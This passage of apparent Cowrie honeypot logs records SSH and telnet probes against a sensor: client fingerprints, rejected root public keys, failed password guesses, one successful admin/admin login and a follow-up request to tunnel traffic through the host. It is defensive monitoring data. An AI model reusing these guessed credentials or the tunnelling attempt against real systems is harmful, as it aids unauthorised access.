6","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:47.738894Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:bb:3d:66:33:9e:e0:53:56:05:94:33:18:71:fe:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu2s7BTe26na/IweA9Tiib/bSgLVT/1xFnhaRd9Cr467voOHnSh+XE22GyD5CEctjGFIqGFe/792FY1uFhXeCwnvDNUil+qsta6XAnsrxJ2c98RC6DUKkjBmf0PVsrI3rpEyGWtHVDyiKeYK3AWZLLsFXatmBQQK8auXqhuNCqDo/DvVFHKbfuiucgoqCk2leDMWZEMrlIBw9ZiyD3QFx+9nOYl94hdJgMJ7NgpmsoOri1B7vnKtMgznguW3wni5nA6/NGiqQUWMLyzlZfhmrQvV8ebNx55my35IqFcfZEicDqAaNsOcqj0JHtXCmr+uIRNodyIVEhRGshyoLG9/RDw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:bb:3d:66:33:9e:e0:53:56:05:94:33:18:71:fe:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:48.853315Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:bb:3d:66:33:9e:e0:53:56:05:94:33:18:71:fe:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu2s7BTe26na/IweA9Tiib/bSgLVT/1xFnhaRd9Cr467voOHnSh+XE22GyD5CEctjGFIqGFe/792FY1uFhXeCwnvDNUil+qsta6XAnsrxJ2c98RC6DUKkjBmf0PVsrI3rpEyGWtHVDyiKeYK3AWZLLsFXatmBQQK8auXqhuNCqDo/DvVFHKbfuiucgoqCk2leDMWZEMrlIBw9ZiyD3QFx+9nOYl94hdJgMJ7NgpmsoOri1B7vnKtMgznguW3wni5nA6/NGiqQUWMLyzlZfhmrQvV8ebNx55my35IqFcfZEicDqAaNsOcqj0JHtXCmr+uIRNodyIVEhRGshyoLG9/RDw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:48.857430Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:d2:8b:4e:8a:27:e9:32:c0:cf:46:5d:db:2c:30:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVPktnxWhaxRVQDm+G9NWR8FaK/Xs+zFXo5vuq7qQd+1EG5wN4oupigYIPTq+NWkiZ4QuBRbxZx0ZI+z2VZGf1+aQAthL8XIcL3E0smG3HH2sal1xt90AXUz86ElgjoyxdH20VtzN9Y+MW19qs6TcfeoVJAfn2fJkUgoVTLD6dMZVzir2yDfKD2+b2Hp4dXqU44eAV0MNjuI+WelVrR8GFh/RGMHS+vYjEE2l/Fwbc1WTk1jcIGDHSi/iF3AWk7WAmpxWuEcAccdRM8OErX5QQwNy2nKBja2GfNZU2O7g9vMNWht2fqbi+oZJyBRjoAd/MnlCa+0uwGYIVXQep1UBM5bob5glJdvRvPvHm0nURRMe0RovpGaX00+e4VsPLXr58LlNVfE1q2GuVSKB/2elIvsGYB22INuyn36iAZ43np013jxHUWYHkKUjTOATozAiENZKhpby1qwZObAE6MlSKOAQA1orroii9Y+hekaZxXwdd+QoIe4WDa5ApYOC5CN+sSSVjkKrZB3IF+wRRKVRT/Da89b0MiULZ/CdrgxSrWZL1tPZw93FniwE4ulx2xmIwuXLIUb4Tahn9G5QH5Z2+aUO9jIrDKxoqUWn8NbLGScEdrkJYynHCACi2F1+cuVollYSf2FWd6QyMDAO3BYwf/Ijd6IonLQXlsVMTyjCZ2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:d2:8b:4e:8a:27:e9:32:c0:cf:46:5d:db:2c:30:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.092527Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:d2:8b:4e:8a:27:e9:32:c0:cf:46:5d:db:2c:30:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVPktnxWhaxRVQDm+G9NWR8FaK/Xs+zFXo5vuq7qQd+1EG5wN4oupigYIPTq+NWkiZ4QuBRbxZx0ZI+z2VZGf1+aQAthL8XIcL3E0smG3HH2sal1xt90AXUz86ElgjoyxdH20VtzN9Y+MW19qs6TcfeoVJAfn2fJkUgoVTLD6dMZVzir2yDfKD2+b2Hp4dXqU44eAV0MNjuI+WelVrR8GFh/RGMHS+vYjEE2l/Fwbc1WTk1jcIGDHSi/iF3AWk7WAmpxWuEcAccdRM8OErX5QQwNy2nKBja2GfNZU2O7g9vMNWht2fqbi+oZJyBRjoAd/MnlCa+0uwGYIVXQep1UBM5bob5glJdvRvPvHm0nURRMe0RovpGaX00+e4VsPLXr58LlNVfE1q2GuVSKB/2elIvsGYB22INuyn36iAZ43np013jxHUWYHkKUjTOATozAiENZKhpby1qwZObAE6MlSKOAQA1orroii9Y+hekaZxXwdd+QoIe4WDa5ApYOC5CN+sSSVjkKrZB3IF+wRRKVRT/Da89b0MiULZ/CdrgxSrWZL1tPZw93FniwE4ulx2xmIwuXLIUb4Tahn9G5QH5Z2+aUO9jIrDKxoqUWn8NbLGScEdrkJYynHCACi2F1+cuVollYSf2FWd6QyMDAO3BYwf/Ijd6IonLQXlsVMTyjCZ2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.096786Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:7c:0a:23:6d:71:15:a6:0d:8d:9e:76:ad:b0:d6:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Ykpa77+SarFAJ8K4cJr9ui7JlNhWlmfMR5xCOPYc3","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1b:7c:0a:23:6d:71:15:a6:0d:8d:9e:76:ad:b0:d6:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.336643Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:7c:0a:23:6d:71:15:a6:0d:8d:9e:76:ad:b0:d6:93","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Ykpa77+SarFAJ8K4cJr9ui7JlNhWlmfMR5xCOPYc3","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.341197Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:d9:47:1e:a5:f7:a3:f5:18:29:b1:eb:51:58:af:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnvW5/+IelSNTrlgBzgaqj7DsdKToFtGKNC+mwnkwBVd/+hPIRK3OgRdBulpbuBi5z04Mmjlt8iG0CuGHFonk/em8bQPPDR66qrC+or+R3pWfWZ/xwyjX7ia80UiZy/LaZGNoWcGPWA9ZfqcGTGrY1NxQ97HsIT7AKV0vmjSt/joZTMt9iLeURZc4H9sO/3AF25I36IMkVkuj9Q3x0BMtlp1umqP5r8G7P7OvZgXdtClymKc1Qus6PWSHh2K73jZ2eLrDbvJ1H5E+m1x6NzF234KkZytzcVtv5/mpTUvId2IwMjorOQmw9ygoJksjSzEJaPjxP3FoYnvBkL+vfTI9tgpFX2qoUX5XW94tdaZ4IE2F0qgU5oqfgWa4osZ5z0lyKd3XtM53XxYdC2ie7FEN7r8dyis98NzLdu6GwEcDV1LnCzxhA0TtrWJMF6HwgDexBnknSfzuHqpbkf4OWpq6lbKKuPnX6CGqRh0eLjYyaALLb9agIM3jhX8kM0kkEtthVX6ZBVTDzpFYnfEpWBUye+0AoBBgVDE+N62Ys+YIETpyU3sExxfgyS+JH6fUK3+iYxp9qdLuUIsyEoECnM3G4iKOnmoxCo/sIW6MqUHqwiyvC9EcP6ShQ0w/CJcjW3IdpHCvS+7m4lNZV+7C/MgMWotBR2z98eU66OYVd4/ESQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:d9:47:1e:a5:f7:a3:f5:18:29:b1:eb:51:58:af:01","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.569757Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:d9:47:1e:a5:f7:a3:f5:18:29:b1:eb:51:58:af:01","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnvW5/+IelSNTrlgBzgaqj7DsdKToFtGKNC+mwnkwBVd/+hPIRK3OgRdBulpbuBi5z04Mmjlt8iG0CuGHFonk/em8bQPPDR66qrC+or+R3pWfWZ/xwyjX7ia80UiZy/LaZGNoWcGPWA9ZfqcGTGrY1NxQ97HsIT7AKV0vmjSt/joZTMt9iLeURZc4H9sO/3AF25I36IMkVkuj9Q3x0BMtlp1umqP5r8G7P7OvZgXdtClymKc1Qus6PWSHh2K73jZ2eLrDbvJ1H5E+m1x6NzF234KkZytzcVtv5/mpTUvId2IwMjorOQmw9ygoJksjSzEJaPjxP3FoYnvBkL+vfTI9tgpFX2qoUX5XW94tdaZ4IE2F0qgU5oqfgWa4osZ5z0lyKd3XtM53XxYdC2ie7FEN7r8dyis98NzLdu6GwEcDV1LnCzxhA0TtrWJMF6HwgDexBnknSfzuHqpbkf4OWpq6lbKKuPnX6CGqRh0eLjYyaALLb9agIM3jhX8kM0kkEtthVX6ZBVTDzpFYnfEpWBUye+0AoBBgVDE+N62Ys+YIETpyU3sExxfgyS+JH6fUK3+iYxp9qdLuUIsyEoECnM3G4iKOnmoxCo/sIW6MqUHqwiyvC9EcP6ShQ0w/CJcjW3IdpHCvS+7m4lNZV+7C/MgMWotBR2z98eU66OYVd4/ESQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.574404Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:a2:5a:d4:5b:23:5b:b3:74:61:51:51:22:c0:40:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJhu19F4rnyeV6PBoumroQBavp9Qtnq/YrzHvjk/c2M/21aI4xcs4qSBv2IsCLhirf0cu0iNDGnbM20rLMpeY6sTnNi1mvDTT2n//f9pMCgwm/eTdFZ6/8JUBYXZQh9tsGdElDykqgRFEYUcB1x4C8SDivXFGOmNR+wvUokLloYfdn4OAFRcXdyhvK1iDs11/9Rh5/pwsyMNcT57sp1F4MGYmTGiwqLev8YXuknva7h6no4FguqEUhAhdnPcbRLP26mo9Y7d2H67WW2/Q2ZVTUljBCTlFQ4tGnZEAsV1k9arXS3RhRI6FZvtFRjuacs2YZwtvovi7ptjBCKIdl5bfz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:a2:5a:d4:5b:23:5b:b3:74:61:51:51:22:c0:40:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.804824Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:a2:5a:d4:5b:23:5b:b3:74:61:51:51:22:c0:40:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJhu19F4rnyeV6PBoumroQBavp9Qtnq/YrzHvjk/c2M/21aI4xcs4qSBv2IsCLhirf0cu0iNDGnbM20rLMpeY6sTnNi1mvDTT2n//f9pMCgwm/eTdFZ6/8JUBYXZQh9tsGdElDykqgRFEYUcB1x4C8SDivXFGOmNR+wvUokLloYfdn4OAFRcXdyhvK1iDs11/9Rh5/pwsyMNcT57sp1F4MGYmTGiwqLev8YXuknva7h6no4FguqEUhAhdnPcbRLP26mo9Y7d2H67WW2/Q2ZVTUljBCTlFQ4tGnZEAsV1k9arXS3RhRI6FZvtFRjuacs2YZwtvovi7ptjBCKIdl5bfz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:49.809296Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:17:50.037708Z","src_ip":"51.79.177.223","session":"76d527c103b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.34276509284973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:06.692236Z","src_ip":"135.148.14.151","session":"c104e6ec0913","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.61145091056824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:08.405720Z","src_ip":"135.148.14.151","session":"d945396eb122","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26564,"dst_ip":"10.17.0.5","dst_port":22,"session":"085b50f6727b","protocol":"ssh","message":"New connection: 87.251.64.176:26564 (10.17.0.5:22) [session: 085b50f6727b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:09.931093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:09.937834Z","src_ip":"87.251.64.176","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:10.034784Z","src_ip":"87.251.64.176","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:10.318604Z","src_ip":"87.251.64.176","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:10.417452Z","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:10.513257Z","src_ip":"87.251.64.176","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:10.610235Z","src_ip":"87.251.64.176","session":"085b50f6727b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57742,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7ce70fd846a","protocol":"ssh","message":"New connection: 103.172.78.219:57742 (10.17.0.5:22) [session: d7ce70fd846a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:44.614311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:44.620018Z","src_ip":"103.172.78.219","session":"d7ce70fd846a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:44.881599Z","src_ip":"103.172.78.219","session":"d7ce70fd846a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patrick1","message":"login attempt [root/patrick1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:45.974125Z","src_ip":"103.172.78.219","session":"d7ce70fd846a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:47.233685Z","src_ip":"103.172.78.219","session":"d7ce70fd846a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00440621376038,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:18:52.031164Z","src_ip":"49.88.156.34","session":"02f5ff4eef9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":51130,"dst_ip":"159.203.135.109","dst_port":22,"session":"524c4a11aa84","protocol":"ssh","message":"New connection: 103.149.28.157:51130 (159.203.135.109:22) [session: 524c4a11aa84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:00.417106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:00.422835Z","src_ip":"103.149.28.157","session":"524c4a11aa84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:00.676033Z","src_ip":"103.149.28.157","session":"524c4a11aa84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bnv1976","message":"login attempt [root/bnv1976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.429132Z","src_ip":"103.149.28.157","session":"524c4a11aa84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":54726,"dst_ip":"10.17.0.5","dst_port":22,"session":"a62d328ee866","protocol":"ssh","message":"New connection: 109.172.54.111:54726 (10.17.0.5:22) [session: a62d328ee866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.599380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.609106Z","src_ip":"109.172.54.111","session":"a62d328ee866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":58596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1a3512c5a5c","protocol":"telnet","message":"New connection: 135.148.14.151:58596 (159.203.135.109:23) [session: e1a3512c5a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:19:01.661531Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-